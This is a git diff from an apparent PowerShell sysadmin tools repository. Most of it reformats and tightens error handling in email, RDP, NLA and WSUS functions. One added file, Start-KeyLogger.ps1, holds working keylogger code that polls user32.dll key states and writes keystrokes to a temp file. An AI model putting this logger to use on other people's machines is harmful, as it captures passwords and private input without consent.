[Parameter(ParameterSetName = 'Main')] - [System.Net.NetworkCredential]$Credential, - - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [ValidateScript({ - # Verify the host is reachable - Test-Connection -ComputerName $_ -Count 1 -Quiet - })] - [Alias("Server")] - [string]$SMTPServer, - - [Parameter(ParameterSetName = 'Main')] - [ValidateRange(1, 65535)] - [Alias("SMTPServerPort")] - [int]$Port = 25, - - [Parameter(ParameterSetName = 'Main')] - [Switch]$EnableSSL, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('EmailSender', 'Sender')] - [string]$SenderAddress, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [System.String]$SenderDisplayName, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('DeliveryOptions')] - [System.Net.Mail.DeliveryNotificationOptions]$DeliveryNotificationOptions - ) - - #PARAM - - PROCESS - { - TRY - { - # Create Mail Message Object - $SMTPMessage = New-Object -TypeName System.Net.Mail.MailMessage - $SMTPMessage.From = $From - FOREACH ($ToAddress in $To) { $SMTPMessage.To.add($ToAddress) } - $SMTPMessage.Body = $Body - $SMTPMessage.IsBodyHtml = $BodyIsHTML - $SMTPMessage.Subject = $Subject - $SMTPMessage.BodyEncoding = $([System.Text.Encoding]::$Encoding) - $SMTPMessage.SubjectEncoding = $([System.Text.Encoding]::$Encoding) - $SMTPMessage.Priority = $Priority - $SMTPMessage.Sender = $SenderAddress - - # Sender Displayname parameter - IF ($PSBoundParameters['SenderDisplayName']) - { - $SMTPMessage.Sender.DisplayName = $SenderDisplayName - } - - # From Displayname parameter - IF ($PSBoundParameters['FromDisplayName']) - { - $SMTPMessage.From.DisplayName = $FromDisplayName - } - - # CC Parameter - IF ($PSBoundParameters['CC']) - { - $SMTPMessage.CC.Add($CC) - } - - # BCC Parameter - IF ($PSBoundParameters['BCC']) - { - $SMTPMessage.BCC.Add($BCC) - } - - # ReplyToList Parameter - IF ($PSBoundParameters['ReplyToList']) - { - foreach ($ReplyTo in $ReplyToList) - { - $SMTPMessage.ReplyToList.Add($ReplyTo) - } - } - - # Attachement Parameter - IF ($PSBoundParameters['attachment']) - { - $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) - $SMTPMessage.Attachments.Add($STMPattachment) - } - - # Delivery Options - IF ($PSBoundParameters['DeliveryNotificationOptions']) - { - $SMTPMessage.DeliveryNotificationOptions = $DeliveryNotificationOptions - } - - #Create SMTP Client Object - $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient - $SMTPClient.Host = $SmtpServer - $SMTPClient.Port = $Port - - # SSL Parameter - IF ($PSBoundParameters['EnableSSL']) - { - $SMTPClient.EnableSsl = $true - } - - # Credential Paramenter - #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) - IF ($PSBoundParameters['Credential']) - { - <# - # Create Credential Object - $Credentials = New-Object -TypeName System.Net.NetworkCredential - $Credentials.UserName = $username.Split("@")[0] - $Credentials.Password = $Password - #> - - # Add the credentials object to the SMTPClient obj - $SMTPClient.Credentials = $Credential - } - IF (-not $PSBoundParameters['Credential']) - { - # Use the current logged user credential - $SMTPClient.UseDefaultCredentials = $true - } - - # Send the Email - $SMTPClient.Send($SMTPMessage) - - }#TRY - CATCH - { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - }#Process - END - { - # Remove Variables - Remove-Variable -Name SMTPClient -ErrorAction SilentlyContinue - Remove-Variable -Name Password -ErrorAction SilentlyContinue - }#END + + [CmdletBinding(DefaultParameterSetName = 'Main')] + param + ( + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [Alias('EmailTo')] + [String[]]$To, + + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [Alias('EmailFrom', 'FromAddress')] + [String]$From, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [string]$FromDisplayName, + + [Parameter(ParameterSetName = 'Main')] + [Alias('EmailCC')] + [String]$CC, + + [Parameter(ParameterSetName = 'Main')] + [Alias('EmailBCC')] + [System.String]$BCC, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('ReplyTo')] + [System.string[]]$ReplyToList, + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Subject = "Email from PowerShell", + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Body = "Hello World", + + [Parameter(ParameterSetName = 'Main')] + [Switch]$BodyIsHTML = $false, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [System.Net.Mail.MailPriority]$Priority = "Normal", + + [Parameter(ParameterSetName = 'Main')] + [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] + [System.String]$Encoding = "Default", + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Attachment, + + [Parameter(ParameterSetName = 'Main')] + [pscredential] + [System.Net.NetworkCredential]$Credential, + + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [ValidateScript( { + # Verify the host is reachable + Test-Connection -ComputerName $_ -Count 1 -Quiet + })] + [Alias("Server")] + [string]$SMTPServer, + + [Parameter(ParameterSetName = 'Main')] + [ValidateRange(1, 65535)] + [Alias("SMTPServerPort")] + [int]$Port = 25, + + [Parameter(ParameterSetName = 'Main')] + [Switch]$EnableSSL, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('EmailSender', 'Sender')] + [string]$SenderAddress, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [System.String]$SenderDisplayName, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('DeliveryOptions')] + [System.Net.Mail.DeliveryNotificationOptions]$DeliveryNotificationOptions + ) + + #PARAM + + PROCESS { + TRY { + # Create Mail Message Object + $SMTPMessage = New-Object -TypeName System.Net.Mail.MailMessage + $SMTPMessage.From = $From + FOREACH ($ToAddress in $To) { $SMTPMessage.To.add($ToAddress) } + $SMTPMessage.Body = $Body + $SMTPMessage.IsBodyHtml = $BodyIsHTML + $SMTPMessage.Subject = $Subject + $SMTPMessage.BodyEncoding = $([System.Text.Encoding]::$Encoding) + $SMTPMessage.SubjectEncoding = $([System.Text.Encoding]::$Encoding) + $SMTPMessage.Priority = $Priority + $SMTPMessage.Sender = $SenderAddress + + # Sender Displayname parameter + IF ($PSBoundParameters['SenderDisplayName']) { + $SMTPMessage.Sender.DisplayName = $SenderDisplayName + } + + # From Displayname parameter + IF ($PSBoundParameters['FromDisplayName']) { + $SMTPMessage.From.DisplayName = $FromDisplayName + } + + # CC Parameter + IF ($PSBoundParameters['CC']) { + $SMTPMessage.CC.Add($CC) + } + + # BCC Parameter + IF ($PSBoundParameters['BCC']) { + $SMTPMessage.BCC.Add($BCC) + } + + # ReplyToList Parameter + IF ($PSBoundParameters['ReplyToList']) { + foreach ($ReplyTo in $ReplyToList) { + $SMTPMessage.ReplyToList.Add($ReplyTo) + } + } + + # Attachement Parameter + IF ($PSBoundParameters['attachment']) { + $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) + $SMTPMessage.Attachments.Add($SMTPattachment) + } + + # Delivery Options + IF ($PSBoundParameters['DeliveryNotificationOptions']) { + $SMTPMessage.DeliveryNotificationOptions = $DeliveryNotificationOptions + } + + #Create SMTP Client Object + $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient + $SMTPClient.Host = $SmtpServer + $SMTPClient.Port = $Port + + # SSL Parameter + IF ($PSBoundParameters['EnableSSL']) { + $SMTPClient.EnableSsl = $true + } + + # Credential Paramenter + #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) + IF ($PSBoundParameters['Credential']) { + <# + # Create Credential Object + $Credentials = New-Object -TypeName System.Net.NetworkCredential + $Credentials.UserName = $username.Split("@")[0] + $Credentials.Password = $Password + #> + + # Add the credentials object to the SMTPClient obj + $SMTPClient.Credentials = $Credential + } + IF (-not $PSBoundParameters['Credential']) { + # Use the current logged user credential + $SMTPClient.UseDefaultCredentials = $true + } + + # Send the Email + $SMTPClient.Send($SMTPMessage) + + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + }#Process + END { + # Remove Variables + Remove-Variable -Name SMTPClient -ErrorAction SilentlyContinue + Remove-Variable -Name Password -ErrorAction SilentlyContinue + }#END } #End Function Send-Email \ No newline at end of file diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index eaf2f0b0..f9a38888 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -1,137 +1,131 @@ -function Set-NetworkLevelAuthentication -{ -<# +function Set-NetworkLevelAuthentication { + <# .SYNOPSIS - This function will set the NLA setting on a local machine or remote machine + This function will set the NLA setting on a local machine or remote machine .DESCRIPTION - This function will set the NLA setting on a local machine or remote machine + This function will set the NLA setting on a local machine or remote machine .PARAMETER ComputerName - Specify one or more computers + Specify one or more computers .PARAMETER EnableNLA - Specify if the NetworkLevelAuthentication need to be set to $true or $false + Specify if the NetworkLevelAuthentication need to be set to $true or $false .PARAMETER Credential - Specify the alternative credential to use. By default it will use the current one. + Specify the alternative credential to use. By default it will use the current one. .EXAMPLE - Set-NetworkLevelAuthentication -EnableNLA $true + Set-NetworkLevelAuthentication -EnableNLA $true - ReturnValue PSComputerName - ----------- -------------- - XAVIERDESKTOP +.EXAMPLE + Set-NetworkLevelAuthentication -EnableNLA $true -computername "SERVER01","SERVER02" + +.EXAMPLE + Set-NetworkLevelAuthentication -EnableNLA $true -computername (Get-Content ServersList.txt) .NOTES - DATE : 2014/04/01 - AUTHOR : Francois-Xavier Cat - WWW : http://lazywinadmin.com - Twitter : @lazywinadm + DATE : 2014/04/01 + AUTHOR : Francois-Xavier Cat + WWW : http://lazywinadmin.com + Twitter : @lazywinadmin - Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html - GitHub : https://github.com/lazywinadmin/PowerShell + Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html +.LINK + https://github.com/lazywinadmin/PowerShell #> - #Requires -Version 3.0 - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName)] - [String[]]$ComputerName = $env:ComputerName, - - [Parameter(Mandatory)] - [Bool]$EnableNLA, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#Param - BEGIN - { - TRY - { - IF (-not (Get-Module -Name CimCmdlets)) - { - Write-Verbose -Message 'BEGIN - Import Module CimCmdlets' - Import-Module CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets - - } - } - CATCH - { - IF ($ErrorBeginCimCmdlets) - { - Write-Error -Message "BEGIN - Can't find CimCmdlets Module" - } - } - }#BEGIN - - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - # Building Splatting for CIM Sessions - $CIMSessionParams = @{ - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ProcessError' - } - - # Add Credential if specified when calling the function - IF ($PSBoundParameters['Credential']) - { - $CIMSessionParams.credential = $Credential - } - - # Connectivity Test - Write-Verbose -Message "PROCESS - $Computer - Testing Connection..." - Test-Connection -ComputerName $Computer -count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null - - # CIM/WMI Connection - # WsMAN - IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') - { - Write-Verbose -Message "PROCESS - $Computer - WSMAN is responsive" - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # DCOM - ELSE - { - # Trying with DCOM protocol - Write-Verbose -Message "PROCESS - $Computer - Trying to connect via DCOM protocol" - $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # Getting the Information on Terminal Settings - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" - $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" - $NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod - } - - CATCH - { - Write-Warning -Message "PROCESS - Error on $Computer" - $_.Exception.Message - if ($ErrorTestConnection) { Write-Warning -Message "PROCESS Error - $ErrorTestConnection" } - if ($ProcessError) { Write-Warning -Message "PROCESS Error - $ProcessError" } - if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "PROCESS Error - $ErrorProcessInvokeWmiMethod" } - }#CATCH - } # FOREACH - }#PROCESS - END - { - if ($CimSession) - { - Write-Verbose -Message "END - Close CIM Session(s)" - Remove-CimSession $CimSession - } - Write-Verbose -Message "END - Script is completed" - } -} \ No newline at end of file + #Requires -Version 3.0 + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] + [System.String[]]$ComputerName = $env:ComputerName, + + [Parameter(Mandatory)] + [System.Boolean]$EnableNLA, + + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#Param + BEGIN { + TRY { + IF (-not (Get-Module -Name CimCmdlets)) { + Write-Verbose -Message '[BEGIN] Import Module CimCmdlets' + Import-Module -Name CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets + } + } + CATCH { + IF ($ErrorBeginCimCmdlets) { + Write-Error -Message "[BEGIN] Can't find CimCmdlets Module" + } + } + }#BEGIN + + PROCESS { + FOREACH ($Computer in $ComputerName) { + Write-Verbose -message $Computer + TRY { + # Building Splatting for CIM Sessions + Write-Verbose -message "$Computer - CIM/WIM - Building Splatting" + $CIMSessionParams = @{ + ComputerName = $Computer + ErrorAction = 'Stop' + ErrorVariable = 'ProcessError' + } + + # Add Credential if specified when calling the function + IF ($PSBoundParameters['Credential']) { + Write-Verbose -message "[PROCESS] $Computer - CIM/WMI - Add Credential Specified" + $CIMSessionParams.credential = $Credential + } + + # Connectivity Test + Write-Verbose -Message "[PROCESS] $Computer - Testing Connection..." + Test-Connection -ComputerName $Computer -Count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null + + # CIM/WMI Connection + # WsMAN + IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') { + Write-Verbose -Message "[PROCESS] $Computer - WSMAN is responsive" + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # DCOM + ELSE { + # Trying with DCOM protocol + Write-Verbose -Message "[PROCESS] $Computer - Trying to connect via DCOM protocol" + $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # Getting the Information on Terminal Settings + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" + $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" + $NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod + } + + CATCH { + Write-Warning -Message "Error on $Computer" + Write-Error -Message $_.Exception.Message + if ($ErrorTestConnection) { Write-Warning -Message "[PROCESS] Error - $ErrorTestConnection" } + if ($ProcessError) { Write-Warning -Message "[PROCESS] Error - $ProcessError" } + if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "[PROCESS] Error - $ErrorProcessInvokeWmiMethod" } + }#CATCH + FINALLY { + if ($CimSession) { + # CLeanup/Close the remaining session + Write-Verbose -Message "[PROCESS] Finally Close any CIM Session(s)" + Remove-CimSession -CimSession $CimSession + } + } + } # FOREACH + }#PROCESS + END { + Write-Verbose -Message "[END] Script is completed" + } +} diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 new file mode 100644 index 00000000..af236ae9 --- /dev/null +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -0,0 +1,29 @@ +function Set-PowerShellWindowTitle { + <# + .SYNOPSIS + Function to set the title of the PowerShell Window + + .DESCRIPTION + Function to set the title of the PowerShell Window + + .PARAMETER Title + Specifies the Title of the PowerShell Window + + .EXAMPLE + PS C:\> Set-PowerShellWindowTitle -Title LazyWinAdmin.com + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin +#> + [CmdletBinding()] + PARAM($Title) + try { + $Host.UI.RawUI.WindowTitle = $Title + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} + diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index 52b1af4b..5cbc5cc5 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -1,52 +1,50 @@ -function Set-RDPDisable -{ -<# - .SYNOPSIS - The function Set-RDPDisable disable RDP remotely using the registry - - .DESCRIPTION - The function Set-RDPDisable disable RDP remotely using the registry - - .PARAMETER ComputerName - Specifies the ComputerName - - .EXAMPLE - PS C:\> Set-RDPDisable - - .EXAMPLE - PS C:\> Set-RDPDisable -ComputerName "DC01" - - .EXAMPLE - PS C:\> Set-RDPDisable -ComputerName "DC01","DC02","DC03" - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +function Set-RDPDisable { + <# + .SYNOPSIS + The function Set-RDPDisable disable RDP remotely using the registry + + .DESCRIPTION + The function Set-RDPDisable disable RDP remotely using the registry + + .PARAMETER ComputerName + Specifies the ComputerName + + .EXAMPLE + PS C:\> Set-RDPDisable + + .EXAMPLE + PS C:\> Set-RDPDisable -ComputerName "DC01" + + .EXAMPLE + PS C:\> Set-RDPDisable -ComputerName "DC01","DC02","DC03" + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - $regkey.SetValue("fDenyTSConnections", 1) - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + [CmdletBinding(SupportsShouldProcess = $true)] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF ($PSCmdlet.ShouldProcess($Computer, "Disable Remote Desktop")) { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + $regkey.SetValue("fDenyTSConnections", 1) + $regKey.flush() + $regKey.Close() + } + } + } #Try + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } #Catch + } #FOREACH + } #Process } \ No newline at end of file diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index 5b8569c5..525776e1 100644 --- a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -1,53 +1,49 @@ -function Set-RDPEnable -{ -<# - .SYNOPSIS - The function Set-RDPEnable enable RDP remotely using the registry - - .DESCRIPTION - The function Set-RDPEnable enable RDP remotely using the registry - - .PARAMETER ComputerName - Specifies the ComputerName - - .EXAMPLE - PS C:\> Set-RDPEnable - - .EXAMPLE - PS C:\> Set-RDPEnable -ComputerName "DC01" - - .EXAMPLE - PS C:\> Set-RDPEnable -ComputerName "DC01","DC02","DC03" - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +function Set-RDPEnable { + <# + .SYNOPSIS + The function Set-RDPEnable enable RDP remotely using the registry + + .DESCRIPTION + The function Set-RDPEnable enable RDP remotely using the registry + + .PARAMETER ComputerName + Specifies the ComputerName + + .EXAMPLE + PS C:\> Set-RDPEnable + + .EXAMPLE + PS C:\> Set-RDPEnable -ComputerName "DC01" + + .EXAMPLE + PS C:\> Set-RDPEnable -ComputerName "DC01","DC02","DC03" + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - $regkey.SetValue("fDenyTSConnections", 0) - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + + [CmdletBinding(SupportsShouldProcess = $true)] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop")) { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + $regkey.SetValue("fDenyTSConnections", 0) + $regKey.flush() + $regKey.Close() + } #IF Test-Connection + } + } #Try + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } #Catch + } #FOREACH + } #Process } \ No newline at end of file diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index 48778fd7..26bb58be 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -1,57 +1,51 @@ -function Set-RemoteDesktop -{ -<# - .SYNOPSIS - The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - - .DESCRIPTION - The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - - .PARAMETER ComputerName - Specifies the ComputerName - - .EXAMPLE - PS C:\> Set-RemoteDesktop -enable $true - - .EXAMPLE - PS C:\> Set-RemoteDesktop -ComputerName "DC01" -enable $false - - .EXAMPLE - PS C:\> Set-RemoteDesktop -ComputerName "DC01","DC02","DC03" -enable $false - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +function Set-RemoteDesktop { + <# + .SYNOPSIS + The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry + + .DESCRIPTION + The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry + + .PARAMETER ComputerName + Specifies the ComputerName + + .EXAMPLE + PS C:\> Set-RemoteDesktop -enable $true + + .EXAMPLE + PS C:\> Set-RemoteDesktop -ComputerName "DC01" -enable $false + + .EXAMPLE + PS C:\> Set-RemoteDesktop -ComputerName "DC01","DC02","DC03" -enable $false + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME, - [Parameter(Mandatory = $true)] - [Boolean]$Enable - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - - IF ($Enable){$regkey.SetValue("fDenyTSConnections", 0)} - ELSE { $regkey.SetValue("fDenyTSConnections", 1)} - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME, + [Parameter(Mandatory = $true)] + [Boolean]$Enable + ) + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + + IF ($Enable) { $regkey.SetValue("fDenyTSConnections", 0) } + ELSE { $regkey.SetValue("fDenyTSConnections", 1) } + $regKey.flush() + $regKey.Close() + } #IF Test-Connection + } #Try + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } #Catch + } #FOREACH + } #Process } \ No newline at end of file diff --git a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 new file mode 100644 index 00000000..1af140d9 --- /dev/null +++ b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 @@ -0,0 +1,78 @@ +#requires -Version 2 +function Start-KeyLogger($Path = "$env:temp\keylogger.txt") { + <# + .DESCRIPTION + By accessing the Windows low-level API functions, a script can constantly + monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger. + + Run the function Start-Keylogger to start logging key presses. Once you + stop the script by pressing CTRL+C, the collected key presses are displayed + + .NOTES + http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx + #> + # Signatures for API Calls + $signatures = @' +[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] +public static extern short GetAsyncKeyState(int virtualKeyCode); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int GetKeyboardState(byte[] keystate); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int MapVirtualKey(uint uCode, int uMapType); +[DllImport("user32.dll", CharSet=CharSet.Auto)] +public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); +'@ + + # load signatures and make members available + $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru + + # create output file + $null = New-Item -Path $Path -ItemType File -Force + + try { + Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red + + # create endless loop. When user presses CTRL+C, finally-block + # executes and shows the collected key presses + while ($true) { + Start-Sleep -Milliseconds 40 + + # scan all ASCII codes above 8 + for ($ascii = 9; $ascii -le 254; $ascii++) { + # get current key state + $state = $API::GetAsyncKeyState($ascii) + + # is key pressed? + if ($state -eq -32767) { + $null = [console]::CapsLock + + # translate scan code to real code + $virtualKey = $API::MapVirtualKey($ascii, 3) + + # get keyboard state for virtual keys + $kbstate = New-Object -TypeName Byte[] -ArgumentList 256 + $checkkbstate = $API::GetKeyboardState($kbstate) + + # prepare a StringBuilder to receive input key + $mychar = New-Object -TypeName System.Text.StringBuilder + + # translate virtual key + $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) + + if ($success) { + # add key to logger file + [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) + } + } + } + } + } + finally { + # open logger file in Notepad + notepad $Path + } +} + +# records all key presses until script is aborted by pressing CTRL+C +# will then open the file with collected key codes +#Start-KeyLogger \ No newline at end of file diff --git a/TOOL-Sync-Wsus-Client/Sync-WsusClient.ps1 b/TOOL-Sync-Wsus-Client/Sync-WsusClient.ps1 new file mode 100644 index 00000000..81cd5fed --- /dev/null +++ b/TOOL-Sync-Wsus-Client/Sync-WsusClient.ps1 @@ -0,0 +1,60 @@ +function sync-WsusClient { + <# +.SYNOPSIS + Function to force the given computer(s) to check for updates and check in with the WSUS server +.DESCRIPTION + Connects to computer list over WinRM (PsSession) and forces it to check for updates and report to its WSUS server + Default if no computers listed is to use localhost + Meant to run against many computers and get quick results +.PARAMETER ComputerName + A string list of computer names against which to run this sync command 